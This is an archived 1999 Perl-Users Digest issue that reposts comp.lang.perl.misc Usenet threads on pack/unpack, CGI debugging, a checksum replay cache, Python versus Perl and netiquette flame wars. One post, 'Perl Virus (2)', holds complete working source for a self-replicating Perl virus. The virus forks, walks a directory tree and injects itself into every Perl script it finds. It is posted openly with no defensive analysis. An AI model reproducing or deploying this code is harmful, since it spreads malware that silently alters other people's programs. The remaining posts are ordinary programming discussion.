[13134] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 544 Volume: 9

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sun Aug 15 17:07:15 1999

Date: Sun, 15 Aug 1999 14:05:09 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Sun, 15 Aug 1999     Volume: 9 Number: 544

Today's topics:
        closing browser window <Eli.Smets@advalvas.be>
        Converting binary using pack / unpack <klambell@dial.pipex.com>
    Re: HARASSMENT -- Monthly Autoemail <dan@softdisk.com>
    Re: HARASSMENT -- Monthly Autoemail (I R A Darth Aggie)
    Re: HARASSMENT -- Monthly Autoemail (1)
    Re: HARASSMENT -- Monthly Autoemail (Gil Harvey)
    Re: How to develope CGI scripts with ActivePerl for Win <dturley@pobox.com>
    Re: How to format string? <chi@cybie.com>
    Re: MD5 Replay Cache (Mark-Jason Dominus)
    Re: Nastiness contrary to the spirit of perl? <mike@crusaders.no>
    Re: Nastiness contrary to the spirit of perl? (I R A Darth Aggie)
    Re: Need help with search script <Webdesigner@NewWebSite.com>
        Performance difference printing single vs double quote? <chi@cybie.com>
        Perl Virus (2) <paddingx@mail.dotcom.fr>
        problem printing ("html") <cfsdan@hotmail.com>
    Re: problem printing ("html") <rick.delaney@home.com>
    Re: Udate file using another file <rvdd@iafrica.com>
    Re: Wacky Programming Tales (Was Re: Why use Perl when  <mpersico@erols.com>
    Re: Wacky Programming Tales <mpersico@erols.com>
    Re: Wacky Programming Tales (Kaz Kylheku)
    Re: Why use Perl when we've got Python?! (Alan Barclay)
    Re: Why use Python when we've got Perl? ("Bill Jones")
        Digest Administrivia (Last modified: 1 Jul 99) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Sun, 15 Aug 1999 21:04:54 +0200
From: "Eli Smets" <Eli.Smets@advalvas.be>
Subject: closing browser window
Message-Id: <7p72uj$6c6$1@nickel.uunet.be>

Is it possible to close the active browser window from within perl code?

Thx
Eli




------------------------------

Date: Sun, 15 Aug 1999 18:34:25 +0100
From: Keith Lambell <klambell@dial.pipex.com>
Subject: Converting binary using pack / unpack
Message-Id: <37B6FA21.40EEC518@dial.pipex.com>

Dear all,

I have been using Perl for a while, a refreshing change from 'C'.
A lot of operations seem much easier in Perl, but there is one function
that I have a real problem with - pack.  I suspect I have not grasped
the
underlying representation yet.

All I want to be able to do is convert say 

(1) the decimal number 171 into "AB", a Hex string
(2) the octal number 775 into "111111101", a Binary string
(3) the binary string "111" into "7", a Decimal string

The code snippet below seems to get (1), mostly (2), but not (3).
I have looked again and again at the documentation and tried several
forms,
but I still am having difficulty!

Any help much appreciated.

Keith Lambell
"Everything is possible given enough thought"


# This bit seems to work - printing the Hex formatted string of a
numeric value - want "AB"
$value=hex(AB);						# Value is numeric scalar
$bin=pack('I',$value);					# Bin is in machine integer
$string=uc(unpack('H2',$bin));				# Express as Hex string
print "Value:$value  String:$string\n";			# Expected "Value:171 
String:AB"

# This partly works - printing the Binary formatted string of a numeric
value - want "111111101"
$permissions=oct(775);					# Permissions is numeric scalar			
$bin=pack('I',$permissions);				# Bin is in machine integer
$str=unpack('b9',$bin);					# Express as Binary string
print "Str:$str\n";					# Expected reverse order "Str:101111111"
$str=unpack('B9',$bin);					# Express as Binary string
print "Str:$str\n";					# Unexpected forward order "Str:111111010"
		
# Not working - I want the value of "111" assuming it is a binary string
- want "7"
$binary="111";						# Binary is a binary string			
$bin=pack('B3',$binary);				# Bin is in machine integer
$string=unpack('I',$bin);				# Express as numeric scalar			
print "Binary:$binary  String:$string\n";		# Unexpected "Binary:111 
String:"


------------------------------

Date: Sun, 15 Aug 1999 12:04:05 -0500
From: "Daniel R. Tobias" <dan@softdisk.com>
Subject: Re: HARASSMENT -- Monthly Autoemail
Message-Id: <37B6F305.D226132A@softdisk.com>

Uriel Wittenberg wrote:
> 
> Yes, I erred horribly ... horribly. But anyone who cares to review the thread which
> prompted Tom's aggression ("Re: Documenting character encoding --
> comments/corrections?", on comp.infosystems.www.authoring.html) can see I was more
> than ready to promptly correct any protocol breach that was brought to my
> attention. In other words, Tom's goon tactics were wholly gratuitous.

And wasn't that exactly what Tom was doing?  Bringing your protocol
breach to your attention?

Just how are newbies *ever* supposed to learn the basics of netiquette
in the future, if people like you are so intent on insisting that the
"oldtimers" be "nicey-nicey" and never do anything so rude as to
actually tell a newbie that something they did was wrong?

-- 
--Dan
Dan's Web Tips: http://www.softdisk.com/comp/dan/webtips/


------------------------------

Date: 15 Aug 1999 17:40:50 GMT
From: fl_aggie@thepentagon.com (I R A Darth Aggie)
Subject: Re: HARASSMENT -- Monthly Autoemail
Message-Id: <slrn7rdv13.m47.fl_aggie@thepentagon.com>

On Sun, 15 Aug 1999 12:04:05 -0500, Daniel R. Tobias <dan@softdisk.com>, in
<37B6F305.D226132A@softdisk.com> wrote:

+ Just how are newbies *ever* supposed to learn the basics of netiquette
+ in the future, if people like you are so intent on insisting that the
+ "oldtimers" be "nicey-nicey" and never do anything so rude as to
+ actually tell a newbie that something they did was wrong?

Welcome to the politically-correct future...

James

-- 
Consulting Minister for Consultants, DNRC
The Bill of Rights is paid in Responsibilities - Jean McGuire
To cure your perl CGI problems, please look at:
<url:http://www.perl.com/CPAN/doc/FAQs/cgi/idiots-guide.html>


------------------------------

Date: Sun, 15 Aug 1999 11:30:14 -0700
From: "REBUS" <rebus@access(1).com>
Subject: Re: HARASSMENT -- Monthly Autoemail
Message-Id: <rre1ka1ekrl80@corp.supernews.com>


I R A Darth Aggie wrote in message ...
>On Sun, 15 Aug 1999 03:35:54 GMT, Gil Harvey <gh@netquick.net>, in
><37b6355f.18129321@news.interpath.net> wrote:
>+ On 15 Aug 1999 02:09:53 GMT, fl_aggie@thepentagon.com (I R A Darth
>+ Aggie) wrote:
>+
>+
>+ >You realize that by posting to Usenet, you are implicitly permitting
>+ >email responses?
>+
>+ No - I'm permetting responses to my post in the same forum I
>+ posted. Get real....
>
>If that's what you believe, then stop posting to usenet.


I fail to see your logic here. If one posts to USENET, it does not imply,
that one is responsive to email responses.

However, it also comes as no surprise, that if you post your email address,
you are allowing other to send you 'unsolicited' emails. As far as TC using
an autoresponder to enforce usenet etiquette, it could be in violation of
most US State and Federal "SPAM" laws if you can show that the email is not
triggered by an actual post to USENET.

Complaining about in this forum is particularly useless.





------------------------------

Date: Sun, 15 Aug 1999 19:21:24 GMT
From: gh@netquick.net (Gil Harvey)
Subject: Re: HARASSMENT -- Monthly Autoemail
Message-Id: <37b7130f.894473@news.interpath.net>

On 15 Aug 1999 15:51:59 GMT, fl_aggie@thepentagon.com (I R A Darth
Aggie) wrote:


>
>If that's what you believe, then stop posting to usenet.

	Unsolicted mail is unsolicted mail - No?


------------------------------

Date: Sun, 15 Aug 1999 18:02:12 GMT
From: David Turley <dturley@pobox.com>
Subject: Re: How to develope CGI scripts with ActivePerl for Windows?
Message-Id: <7p6vb0$kma$1@nnrp1.deja.com>

In article <7p49fv$d4k$1@news02.btx.dtag.de>,
  "nati" <nati.m@t-online.de> wrote:
> Hi!
>
>But what do I have to do when I want that offline? Do I have
to
> simulate (and how) server on my computer, or ... Anyway, when somebody
makes
> webmastering and uses this, Paar of hints would be useful.

http://www.binary.net/dturley/cgi_testing.html

--
David Turley
dturley@pobox.com
http://www.binary.net/dturley


Sent via Deja.com http://www.deja.com/
Share what you know. Learn what you don't.


------------------------------

Date: Sun, 15 Aug 1999 11:32:07 -0700
From: Chi Yu <chi@cybie.com>
Subject: Re: How to format string?
Message-Id: <37B707A7.1B88F2BF@cybie.com>

Thank you one and all for your various solutions. What I need is to buy
a better reference guide with a good index and maybe an accompanying
searchable CD. I've implemented Anno and Larry's suggestion regarding
the split function.

To answer Thomas's question, I want to strip the period but maintain a
unique 12 character code. Stripping just the period without maintaining
the positioning could result in multiple IP addresses reducing to a
common and non-unique ID.

Thanks again for all the help,
Chi Yu


Larry Rosler wrote:
> 
> [Posted and a courtesy copy sent.]
> 
> In article <37B647F4.F72C4DE9@cybie.com> on Sat, 14 Aug 1999 21:54:12 -
> 0700, Chi Yu <chi@cybie.com> says...
> > Can someone please help me format a string? I want to format a url into
> > a 12 character string, minus the periods and forcing each node to use 3
> > digits.
> >
> > e.g. "212.67.198.54" would become "212067198054"
> 
> That is a dotted-quad IP address, not a URL.
> 
> > Is there a regular expression that will quickly accomplish this feat?
> 
>   $ip_address =~ s/(\d+\.?)/sprintf '%.3d', $1/eg
> 
> But this makes fewer function calls:
> 
>   $ip_address = sprintf '%.3d%.3d%.3d%.3d', $ip_address =~ /(\d+)/g
> 
> I prefer split() to the regex:
> 
>   $ip_address = sprintf '%.3d%.3d%.3d%.3d', split /\./, $ip_address
> 
> So there are Three Ways To Do It, and I'm sure there are plenty more.
> 
> --
> (Just Another Larry) Rosler
> Hewlett-Packard Laboratories
> http://www.hpl.hp.com/personal/Larry_Rosler/
> lr@hpl.hp.com


------------------------------

Date: Sun, 15 Aug 1999 18:43:22 GMT
From: mjd@op.net (Mark-Jason Dominus)
Subject: Re: MD5 Replay Cache
Message-Id: <7p71nd$c0o$1@monet.op.net>
Keywords: Bangui bind clockwork thunderous

[Mailed and posted]

In article <37b699e2.183196667@news2.serversystems.net>,
Robert A. Costner <rcostner@serversystems.net> wrote:
>In Perl I am creating a "replay cache" text file 1,000 lines long,
>each line being a 33 byte hex code known as an MD5 checksum. (MD5 is a
>CPAN library)  The program then takes a series of text messages and
>processes them.  For each message a new MD5 checksum is created and
>appended to the end of the list, while the oldest checksum is removed
>from the list.

Here's one way you could do it: The checksums are all the same size,
so if you knew which one was the oldest, you could just go and
overwrite it in place; you wouldn't need to rewrite the entire file.
Now suppose the file has just gotten full:

	checksum #0001
	checksum #0002
	checksum #0003
	...
	checksum #1000

We want to write checksum #1000.  But the file is full.  That's OK; we
can wrap aroound to the beginning and overwrite checksum #0001 in place:

	checksum #1001
	checksum #0002
	checksum #0003
	...
	checksum #1000

Next time, we'll overwrite checksum #0002:

	checksum #1001
	checksum #1002
	checksum #0003
	...
	checksum #1000

To do this, we need to remember which line contains the newest
checksum.  If we know this, then the oldest checksum will be the one
on the following line, or if the newest checksum is at the end of the
file, the oldest one will be on the first line.

So imagine that the format of the file is this: The first line
contains a six-digit number that says what other line has the newest
checksum.  The line before that will have the next most recent
checksum, and the following one will have the oldest checksum.

To add a new checksum, we'll go right to the line with the oldest
checksum and write the new one on top of it.  Then we need to adjust
the index at the front of the file so that it records the new location
of the new newest checksum.

$LINE_LENGTH = 34;  # 33 byte checksum plue line terminator
$INDEX_LENGTH = 6;  # Index is a 6-digit number
$MAX_CHECKSUMS = 1000;

open CHECKSUMS, "+< checksum.file" or die...;
chomp($last_checksum_index = <CHECKSUMS>);
$last_checksum_index = ($last_checksum_index + 1) % $MAX_CHECKSUMS;
# This fixes the index:
seek CHECKSUMS, 0, 0;
print CHECKSUMS, sprintf "%0${INDEX_LENGTH}d\n", $last_checksum_index;

# This locates the oldest existing checksum and
# overwrites it with a new checksum.
seek (CHECKSUMS, $LINE_LENGTH * $last_checksum_index, 1) or die...;
$checksum = compute_new_checksum();
print CHECKSUMS $checksum, "\n";
close CHECKSUMS;

To make a bigger file, change $MAX_CHECKSUMS to be bigger.
If you make it bigger than 999999, you'll need to adjust $INDEX_LENGTH.

Hope this helps.


------------------------------

Date: Sun, 15 Aug 1999 19:38:32 +0200
From: "Trond Michelsen" <mike@crusaders.no>
Subject: Re: Nastiness contrary to the spirit of perl?
Message-Id: <OVCt3.420$U36.1697@news1.online.no>


I R A Darth Aggie <fl_aggie@thepentagon.com> wrote in message
news:slrn7rdpcc.lrv.fl_aggie@thepentagon.com...
> + a BIT short?  i've been on USENET for nearly 20 years and Abigail is one
> + of the worst offenders i've seen, short of complete yahoos like
Plutonium
> + or Sternlight.
> Oh, please. If you've been on Usenet for 20 years, you need to get out
> to other newsgroups more often...

Huh? Here I am, thinking that every newsgroup is a part of USENET. Did I
miss something significant somewhere?

--
Trond Michelsen





------------------------------

Date: 15 Aug 1999 17:44:51 GMT
From: fl_aggie@thepentagon.com (I R A Darth Aggie)
Subject: Re: Nastiness contrary to the spirit of perl?
Message-Id: <slrn7rdv8l.m47.fl_aggie@thepentagon.com>

On Sun, 15 Aug 1999 19:38:32 +0200, Trond Michelsen <mike@crusaders.no>, in
<OVCt3.420$U36.1697@news1.online.no> wrote:
+ 
+ I R A Darth Aggie <fl_aggie@thepentagon.com> wrote in message
+ news:slrn7rdpcc.lrv.fl_aggie@thepentagon.com...
+ > + a BIT short?  i've been on USENET for nearly 20 years and Abigail is one
+ > + of the worst offenders i've seen, short of complete yahoos like
+ Plutonium
+ > + or Sternlight.
+ > Oh, please. If you've been on Usenet for 20 years, you need to get out
+ > to other newsgroups more often...

+ Huh? Here I am, thinking that every newsgroup is a part of USENET. Did I
+ miss something significant somewhere?

Why, yes. But every group is different. But if this yahoo thinks
Abigail is just shy of a Sternlight or Archie the Potwasher, he
*really* needs to get out more...

There are people on the net that make those two look stable and
reasonably sane.

James

-- 
Consulting Minister for Consultants, DNRC
The Bill of Rights is paid in Responsibilities - Jean McGuire
To cure your perl CGI problems, please look at:
<url:http://www.perl.com/CPAN/doc/FAQs/cgi/idiots-guide.html>


------------------------------

Date: Sun, 15 Aug 1999 18:37:13 GMT
From: Floyd Morrissette <Webdesigner@NewWebSite.com>
Subject: Re: Need help with search script
Message-Id: <7p71cp$m49$1@nnrp1.deja.com>

In article <37b6da8b.0@news.advancenet.net>,
  "twentyfour seven" <jeff@247sk8mag.com> wrote:

> code for the prev. and next. links.
>
> if ($FORM{'S'}) {
>    $prev = $FORM{'S'} - 10;
>    $prev = 0 if ($prev < 0);
>    $link = qq(<a
> href="search.pl?Q=$FORM{'Q'}&E=$FORM{'E'}&X=$FORM{'X'}&S=$prev">&lt;
&lt;
> Prev</a>);
>
> }
>
> $link .= " | " if (($FORM{'S'}) and ($next));
>
> $link .= qq(<a
> href="search.pl?Q=$FORM{'Q'}&E=$FORM{'E'}&X=$FORM{'X'}&S=$next">Next
&gt;
> &gt;</a>\n) if ($next);
>
> Thanks

One thing that might help is to escape the & with a backslash. When perl
sees the & it is probably looking for a subroutine. I don't know if that
is it or not, but nobody else has tried.

--
Get your web site from http://www.NewWebSite.com
Consultation is always free.
Help with cgi scripts.


Sent via Deja.com http://www.deja.com/
Share what you know. Learn what you don't.


------------------------------

Date: Sun, 15 Aug 1999 12:44:42 -0700
From: Chi Yu <chi@cybie.com>
Subject: Performance difference printing single vs double quote?
Message-Id: <37B718AA.DF4F0B47@cybie.com>

Greetings,

Is there an appreciable performance gain in printing static text using
single quotes versus standardizing on double quotes for both static and
dynamic strings?

e.g.
  print 'This is a static string.';
  print "This is a static string which may require more resources since
it is parsed.";
  print "This is a dynamic string using variable $variable.";

Best regards,
Chi Yu


------------------------------

Date: 15 Aug 1999 20:31:18 GMT
From: "paddingx" <paddingx@mail.dotcom.fr>
Subject: Perl Virus (2)
Message-Id: <01bee765$233dd300$96b095c2@default>

#!/usr/bin/perl
use File::Find;
&virus();

print "\nThis program is infected by the Perl virus\n\n";

sub virus
  {
    my ( $pid, $new );   
    if( $pid = fork ) { return; }
    else
      {
        open( source, $0 );
	finddepth ( \&infect, '/home/chris/test' );
	sub infect 
	  {
            open target, "$File::Find::name";
            $_ = <target>;
	    if ( /(\#!.*perl)/ ) 
	      {
		$_ = <target>;
		if( $_ ne "use File::Find;\n" )
		  {
                    $new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
                    while( <target> ) { $new = $new . $_; }
		    seek(  source, 0, 0 );
                    while( <source> ne "sub virus\n" ) { };
                    $new = $new . "\nsub virus\n";
                    while( <source> ) { $new = $new . $_; }                
 
                    close  target;
                    open   target, ">$File::Find::name";
                    print  target $new;
                 }
	      }
	    close( target );   
	  }
        close( source );
	exit( 0 );
      }
  }

# a Perl virus, by paddingx
# 08/15/1999




------------------------------

Date: Sun, 15 Aug 1999 20:42:34 GMT
From: "Daniel Garmendia" <cfsdan@hotmail.com>
Subject: problem printing ("html")
Message-Id: <01bee75f$1ddd3be0$0a00000a@Games1.garmendia.net>

Please excuse my ignorance.  I am also a rookie perl programmer.  I want to
a script to return html to the browser.  I made one that is supposed to do
that...  I chmod 755'd it but it never executes..... This is html.cgi  at
http://home.dmv.com/~jaimeg/html.cgi :


#!usr/bin/perl  

print <<"(END HTML)";
Content-type: text/html

<html>
 <head>
  <title>test</title>
 </head>
 <body bgcolor=#FFFFFF text=#000000>
  <center>
   <table border=0 width=600 bgcolor=#9C9C9C>
    <tr><th><font size=+2>Test</font></th></tr>
   </table>
   <table border=0 width=600 bgcolor=#CFCFCF>
    <TR>
	<td>This probably isn't working....</td>
	</tr>
   </table>
  </center>
 </body>
</html>
(END HTML)


is there a problem with my script?  Am i forgetting to do something?  You
think it is my server?  I sent a message to www.dmv.com (my server and
provider) but they haven't responded yet.  

-Daniel Garmendia


------------------------------

Date: Sun, 15 Aug 1999 20:54:03 GMT
From: Rick Delaney <rick.delaney@home.com>
Subject: Re: problem printing ("html")
Message-Id: <37B728CE.5370A520@home.com>

[posted & mailed]

Daniel Garmendia wrote:
> 
> Please excuse my ignorance.  I am also a rookie perl programmer.  

Then you'll want to check out the FAQ where there are answers to a lot
of common beginner questions.

> I want to a script to return html to the browser.  I made one that is 
> supposed to do that...  I chmod 755'd it but it never executes..... 

perldoc perlfaq9

My CGI script runs from the command line but not the browser. (500
Server Error)

-- 
Rick Delaney
rick.delaney@home.com


------------------------------

Date: Sun, 15 Aug 1999 20:07:31 +0200
From: "Romiko" <rvdd@iafrica.com>
Subject: Re: Udate file using another file
Message-Id: <7p701d$1e38$1@nnrp01.ops.uunet.co.za>

Howzit, I used awk to get the Job done but I would be interested to see how
perl does, I have orderes a book on perl from my local supplies as I can see
from your example that it is pretty good. here is my awk script anyway, I am
still working on formatting the output to leave out the blank lines.
at the command type:
awk -f report B A > output

--------cut report.awk------------------

BEGIN {
OFS = FS ="|"}
FILENAME == "B" {cusrega[$5] = $0; next}
FILENAME == "A" {if ($3 in cusrega) print curega[$3] ; else print
}

-----cut here------------

-----file A----------
7|Romikogogo van de dronker|021/00007/13
14|Bob Harrison|021/00014/12
16|Harry Ford|429/00016/11
16|Harry Ford|403/00016/12
8|Michael Bake|021/00008/12
7|Romiko van de dronker|022/00007/14
200|Joe Blogs|021/00200/13
23333|Gary Player|022/23333/45
555|Pepe Van de dronker|
|Vic van de dronker|021/00556/42

------end file A ------------

------file B---------
002233791|10001|7|Romiko van de dronker|021/00007/13
002543578|10003|16|Harry Ford|429/00016/11
002233792|10001|7|Romiko van de dronker|022/00007/14
002333745|10002|14|Bob Harrison|021/00014/12

-----end file B

-----output-----------



16|Harry Ford|403/00016/12
8|Michael Bake|021/00008/12

200|Joe Blogs|021/00200/13
23333|Gary Player|022/23333/45
555|Pepe Van de dronker|
|Vic van de dronker|021/00556/42

------------cut here end of output----------

-----Original Message-----
From: Michel Dalle <michel.dalle@usa.net>
To: Romiko <rvdd@iafrica.com>
Date: Sunday, August 15, 1999 12:12 PM
Subject: Re: update one file using another


>At 21:11 14/08/99 +0200, you wrote:
>>    Howzit Going ?   I would really appreciate it, if you could assist me
>>with this  nasty scenario.
>
>I'm sorry, but now you'll have to try it on your own first...
>
>Did you read some book on Perl and analyse the script I sent you,
>to try and understand what it does and how it works ? If you did,
>and got stuck trying out your own solution, you can always ask
>for help on the newsgroup (but include what you've tried so far).
>
>This problem should not be too different from the last one,
>
>Michel.
>P.S.: I think the format of OUTPUT is a bit strange. The records
>don't all have the same number of fields, which makes processing
>afterwards more difficult...
>
>
>

Michel Dalle wrote in message <7p66ia$huq$2@xenon.inbe.net>...
>In article <7p4f75$d4t$1@nnrp01.ops.uunet.co.za>, "Romiko"
<rvdd@iafrica.com> wrote:
>>I have been trying to write a script that compares two similar files and
>>updates the changes , I have been trying for two days and cannot get it
>>right.  FileA is the Table that needs to be updated and fileB is the table
>>with the latest records.  The third field  in FILEA(cifa) needs to be
>>compared
>>with the first field in FILEB(cifb) and the fith field in FileA(Account
>>number) compared with the 3rd field in FileB (Account Number)to see
whether
>>an existing customer open another account eg had a savings and then opened
a
>>cheque account later.
>
>[snip]
>
>Your explanation is not 100% clear, but why don't you show us what you
>have tried, and tell us where it did go wrong ?
>
>Michel.




------------------------------

Date: Sun, 15 Aug 1999 15:22:02 -0400
From: "Matthew O. Persico" <mpersico@erols.com>
Subject: Re: Wacky Programming Tales (Was Re: Why use Perl when we've got  Python?!)
Message-Id: <37B7135A.3696C630@erols.com>

I once had to take over a MAJOR project from a consultant who was leaving.
This happened one week before my honeymoon. How major? Well it wrote and
sent settlement information for about 10-20% of the daily volume of equity
transactions in the entire United States.

Anyway, it took about six months of re-programming to evolve this morASS
(emphaisis mine) of code into something that behaved in a deterministic
fashion. As I hacked way at the underbrush, I kept coming upon all sorts of
references to a function called ocrap().  Eventually, I found the source
for the function (instead of just linking in the existing library) and
discovered it went something like this:

int ocrap(char *s) {

	printf("Oh crap, what am I doing here: %s\n",s);
	exit (5);
}


Abigail wrote:
> 
> Brad Howes (bradh@mediaone.net) wrote on MMCLXXV September MCMXCIII in
> <URL:news:wjy7lmxbwh7.fsf_-_@bradh.ne.mediaone.net>:
> &&
> && Hey! I actually worked on a project where someone did this! Also in their
> && funky include file was
> &&
> &&   #define AND &&
> &&   #define OR  ||
> &&
> && It was the most bizarre thing I ever saw -- not so much the include file,
> && but the resulting code. As if a Pascal moths had come in, eaten at some
> && code and left little Wirth fragments sprinkled around. Has anyone else
> && encountered such strange programming behavior?
> 
> Well, uhm, yeah. I once wrote a C program implementing red-black trees
> that almost read like English. Except for parens and the one #include
> line, no punctuation chars where needed. It had things like:
> 
>       if (I am red and my uncle is black)
>       we do   ....
> 
> Unfortunally, that code didn't survive an extreme quota regime.
> 
> Abigail
> --
> perl -MNet::Dict -we '(Net::Dict -> new (server => "dict.org")
>                        -> define ("foldoc", "perl")) [0] -> print'
> 
>   -----------== Posted via Newsfeeds.Com, Uncensored Usenet News ==----------
>    http://www.newsfeeds.com       The Largest Usenet Servers in the World!
> ------== Over 73,000 Newsgroups - Including  Dedicated  Binaries Servers ==-----

-- 
Matthew O. Persico
    
You'll have to pry my Emacs from my cold dead oversized
   control-pressing left pinky finger. -- Randal L. Schwartz


------------------------------

Date: Sun, 15 Aug 1999 15:15:17 -0400
From: "Matthew O. Persico" <mpersico@erols.com>
Subject: Re: Wacky Programming Tales
Message-Id: <37B711C5.32C1CA6C@erols.com>



Ben Caradoc-Davies wrote:
> 
> [strange programming]
> The most confidence uninspiring piece of code I ever had the displeasure to
> maintain contained something like this (allegedly C++, but mainly it's
> intersection with C):
> 
>         i = 0;
>         while( i < max_index ) {
>                 /* some copying or update (not modifying i) goes here */
>                 i = i + 1;
>         }
> 
> This was written by a *very* expensive consultant working for a large
> multinational accountancy firm.
> 
> Can anybody suggest an alternative construct which more accurately expresses
> the programmer's intentions? There may be more than one way to do it, but,
> puhleeze!
> 
> Idiomatic is not quite the word.

Try idiotic!

> --
> Ben Caradoc-Davies <bmcd@es.co.nz>

-- 
Matthew O. Persico
    
You'll have to pry my Emacs from my cold dead oversized
   control-pressing left pinky finger. -- Randal L. Schwartz


------------------------------

Date: Sun, 15 Aug 1999 20:15:44 GMT
From: kaz@ashi.FootPrints.net (Kaz Kylheku)
Subject: Re: Wacky Programming Tales
Message-Id: <slrn7re808.77t.kaz@ashi.FootPrints.net>

On 15 Aug 1999 03:14:48 GMT, Ben Caradoc-Davies <bmcd@es.co.nz> wrote:
>[strange programming]
>The most confidence uninspiring piece of code I ever had the displeasure to
>maintain contained something like this (allegedly C++, but mainly it's 
>intersection with C):
>
>	i = 0;
>	while( i < max_index ) {
>		/* some copying or update (not modifying i) goes here */
>		i = i + 1;
>	}
>
>This was written by a *very* expensive consultant working for a large
>multinational accountancy firm.

So what's wrong with that? Granted, the for loop construct would have
been better for the task instead of while, and the expensive consultant should
have seen that. But what about the i = i + 1 increment? It smacks of BASIC, but
there is nothing wrong with it.  It's not any less efficient than i++ or ++i.

Maybe the consultant is anally retentive about not using operators other than
assignment that have the side effect of modifying an object, and not using more
than one side effect in a full expression. That approach leads to uninsipiring
code, but nevertheless code that won't possibly have undefined behaviors due to
ambiguities.

In other words, with his ultra-conservative approach, the weenie is unlikely
to ever things like a[i] = i++.

I'm afraid you don't have a case, if the program otherwise fulfilled its
functional, performance and reliability requirements.

The guy programs for accounting firms. So it's a given that he can't possibly
be a great hacker who writes slick code. He does things that some of us
wouldn't touch with a ten foot pole.  His high cost could have something to do
with his domain specialization, and with a high profit margin on the part of
the contracting company (assuming he's not freelance).


------------------------------

Date: Sun, 15 Aug 1999 17:45:32 GMT
From: gorilla@elaine.drink.com (Alan Barclay)
Subject: Re: Why use Perl when we've got Python?!
Message-Id: <934739330.285799@elaine.drink.com>

In article <7p667v$o6o$1@newshost.accu.uu.nl>,
Martijn Faassen <m.faassen@vet.uu.nl> wrote:
>Alan Barclay <gorilla@elaine.drink.com> wrote:
>
>I would debate that. If you come from C-style languages, sure.

If doesn't take a lot to realize that the { goes with the }. Here's an
example from an language you've almost certainly not seen before:

PROC test:
	WHILE 1
		print "x"
ENDWH
print "y"
ENDP

I'd hope that anyone who's calling themselves a programmer can read this
and take a fair guess that in this language "PROC" marks the start of
a block, and "ENDP" ends it, and "WHILE" marks the begining of another
block, and "ENDWH" ends it, and that this program has a mismatch between
indentation and the blocks.

>argument; there's no redundancy in the language here, as Perl doesn't
>care a whit about whitespace. Your editor might, and you might, but it's

Yes I do. And I care about the block markers than the language requires,
and when I'm debugging, that's one of the items I want to check, what
the language thinks I mean, and what I think I mean. If they're different,
then there is a problem.

>not part of the language. One can equally introduce such redundancy to
>Python if one so desires, by using #{ and #} or whatever you like.

You could equally say that one can introduce such redudancy in
Perl by indenting, or omit if you don't want to.

Funny thing is that almost every real Perl program I've seen has been
indented, while I've never seen a real Python program with commented
blocks. A lot of this thread has been claiming that Python is better
for group projects because it enforces good practices for code sharing.
This is one instance where is doesn't. If I want #{ & #}, and the
other coder doesn't, then I'm not going to get #{ & #} in her programs.


>Besides, this code isn't legal Python, and Python would complain at this:

I never said it was legal Python. The previous example wasn't legal Perl
either, as the if statements didn't contain a condition, both were simply
a minimal example to show the difference between a language with block
markers and without.

I could have used the Borne shell's if/then/fi or Pascal's begin/end. I
don't really care what the block markers are, as long as they exist.
In all these languages it's hard to accidentally place a statement
outside of a block. In Python, I find it too easy.

The real bug I found had the last statement in a block indented to the
wrong level, so the precending statements made it a legal Python block.
It just didn't do what I wanted it to do, and without the block markers
I could not tell that my original intent didn't match up with the code.

>Okay; it just never seems to happen to me. I will accept experiences
>differ in this. I still don't think the whitespace argument against
>Python is a good one. Far better arguments exist; use those. :)

I didn't say it's the only problem I found with python, but it's the
one which caused me to give up on it. 


------------------------------

Date: Sun, 15 Aug 1999 14:20:05 -0400
From: bill@fccj.org ("Bill Jones")
Subject: Re: Why use Python when we've got Perl?
Message-Id: <199908151815.OAA21697@astro.fccj.cc.fl.us>

On Date: Sun, 15 Aug 1999 12:09:57 GMT
miker3@ix.netcom.com (Michael Rubenstein) wrote:


<snipped some stuff from Tom post and Michael's reply>

> The problem in comp.lang.perl.misc is not the beginners -- it is
> the regulars.

No...

The problem is those that should take what the regular's post with a grain
of salt.  Beginners should READ READ READ TEST TEST TEST - then post a good
example of a question that covers that portion they don't quite understand.

I feel Tom, Abby, and a few others, love 'burning' spam threads (even
thought they MAY say they don't - I think deep down they enjoy it.)

Take me for a perfect example - I am a beginner, been using Perl for going
on three years, but I cannot use it daily so sometimes I get twisted around
something I should remember better.  Rewind back a few years when me and
John Porter tried to gut each other long distance (hard to do via Usenet,
but you get the idea :)

Pretty bad flames went back and forth, back and forth...  What purpose did
it serve?  Well, for me I didn't want to let it go.  I didn't want to get
raked over the coals simply because I don't want to read and test, test and
read.  Study and learning is a life long goal; but Hey, sometimes I get
stuff I can't figure out and I just want it to work!  (We all can't be
expert overnight :)

Just post your questions as best you can, grab a beer, and roll with the
flow - some will help you outright, some will flame you to a cinder, but all
in all - does this continuation  of a worthless thread resolve anything?

(Not really caring if Python is better or not...)
-Sneex-  :]

PS - Here's an example:

perl -e '$_="\012534`!./4(%2`\cp%2,`(!#+%2j";s/./"\"\\c$&\""/gees;print'

Who knew it said "Just Another Perl Hacker", not I; but will I lose sleep
because I don't understand how it does it???

No...



------------------------------

Date: 1 Jul 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 1 Jul 99)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq" from
almanac@ruby.oce.orst.edu. The real FAQ, as it appeared last in the
newsgroup, can be retrieved with the request "send perl-users FAQ" from
almanac@ruby.oce.orst.edu. Due to their sizes, neither the Meta-FAQ nor
the FAQ are included in the digest.

The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq" from
almanac@ruby.oce.orst.edu. 

